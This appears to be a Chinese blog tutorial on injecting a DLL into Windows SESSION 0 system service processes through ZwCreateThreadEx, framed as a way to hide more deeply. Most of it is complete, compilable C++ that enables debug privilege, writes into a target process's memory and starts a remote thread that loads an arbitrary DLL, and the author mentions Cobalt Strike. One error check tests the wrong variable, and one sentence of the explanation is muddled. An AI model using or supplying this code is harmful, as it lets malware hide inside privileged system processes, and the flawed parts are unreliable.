上一篇文章地址《DLL远程线程注入》

0x00 前言

传统的远程线程技术一般是向普通用户进程注入线程。而要是想隐藏的更深,则需要突破SESSION0隔离机制,将自身进程注入到系统进程中,使得自己更加隐蔽。
突破SESSION0隔离的远程线程注入与传统的CreateRemoteThread实现DLL远程线程注入相比区别在与是用更为底层的ZwCreateEx函数来创建的。

0x01前置知识

session0介绍

在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0,如下图所示,在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序。https://learn.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)
26745-4uchkfvckbl.png

将服务和用户应用程序一起在Session 0中运行会导致安全风险,因为服务会使用提升后的权限运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目标,通过“劫持”该服务,达到提升自己权限级别的目的。

从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。
58458-r51he4ugjv9.png

由于SESSION 0函数必须拿到 SE_PRIVILEGE_ENABLED 权限,所以需要进行提权

BOOL EnableDebugPrivilege()
{
    HANDLE hToken;
    BOOL fOk = FALSE;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
}
    return fOk;
}

ZwCreateEx函数

在64位系统下函数声明

typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);

在32位的系统下:

    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);

实现原理

ZwCreateThreadEx 函数可以突破SESSION0隔离,将DLL注入到SESSION0隔离的系统服务进程中,CreateRemoteThread 注入系统进程会失败的原因是因为调用 ZwCreateThreadEx 创建远程线程时,第七个参数 CreateThreadFlags 为1,它会导致线程完成后一直挂起无法恢复运行。所以要想成功注入,在调用ZwCreateTheadEx函数时将CreateSuspended值置为0,这样线程创建完成后就会恢复运行

实现效果&&完整代码

先用系统管理员权限打开下notepad和CMD
48505-yucdvr5c7.png

46322-crzn6re14vb.png

#include <Windows.h>
#include <iostream>
#include <tchar.h>
BOOL EnableDebugPrivilege()//获得 SE_PRIVILEGE_ENABLED 权限
{
    HANDLE hToken;
    BOOL fOk = FALSE;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
    return fOk;
}

BOOL ZwCreateTheadExInject(DWORD PID, LPCTSTR DllName) {
    EnableDebugPrivilege();
    HANDLE hRemoteThread;
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);//打开注入进程获取进程句柄
    if (hProcess == NULL) {
        printf("OpenProcess error: %d\n",GetLastError());
        return FALSE;
    }
    DWORD size = (lstrlen(DllName) + 1) * sizeof(TCHAR);
    LPVOID pAllocMemory = VirtualAllocEx(hProcess,NULL, size, MEM_COMMIT, PAGE_READWRITE);//为注入的进程申请内存
    if(pAllocMemory == NULL) {
        printf("VirtualAllocEx error\n");
        return FALSE;
    }
    BOOL WPM = WriteProcessMemory(hProcess, pAllocMemory, DllName, size , NULL); //写入内存地址
    if (WPM == NULL) {
        printf("WriteProcessMemor error\n");
        return FALSE;
    }
    HMODULE hNtdllDll = LoadLibrary(L"ntdll.dll"); //加载ntdll
    if (hNtdllDll == NULL)
    {
        printf("Load ntdll.dll error\n");
        return -1;
    }
    FARPROC pThead= GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//获取LoadLibrary地址
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
#endif
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll,"ZwCreateThreadEx");//获取ZwCreateThreadEx的地址
    if (ZwCreateThreadEx == NULL) {
        printf("ZwCreateThreadEx GetProcAddress ERROR");
        return FALSE;
    }
    BOOL ZCT = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, 
        (LPTHREAD_START_ROUTINE)pThead, pAllocMemory, 0, 0, 0, 0, NULL);//使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
    if (ZwCreateThreadEx == NULL) {
        printf("ZCT IS ERROR\n");
        return FALSE;
    }
    CloseHandle(hProcess);
    FreeLibrary(hNtdllDll);
    return TRUE;
        
}
int _tmain(int argc,TCHAR* argv[]) {
    BOOL result = ZwCreateTheadExInject((DWORD)_tstol(argv[1]),argv[2]);
    if (FALSE == result)
        printf("DLL INJECT IS ERROR\n");
    else
        printf("Successfully to INJECT\n");
}

PS:如果是准备注入到系统进程当中,由于会话隔离的原因,系统服务程序是是不能通过弹窗的方式来判断是否注入成功了。由于zhe'l本人懒得开cs了,就直接用弹窗dll注入给管理员权限的文件了~~~

发表评论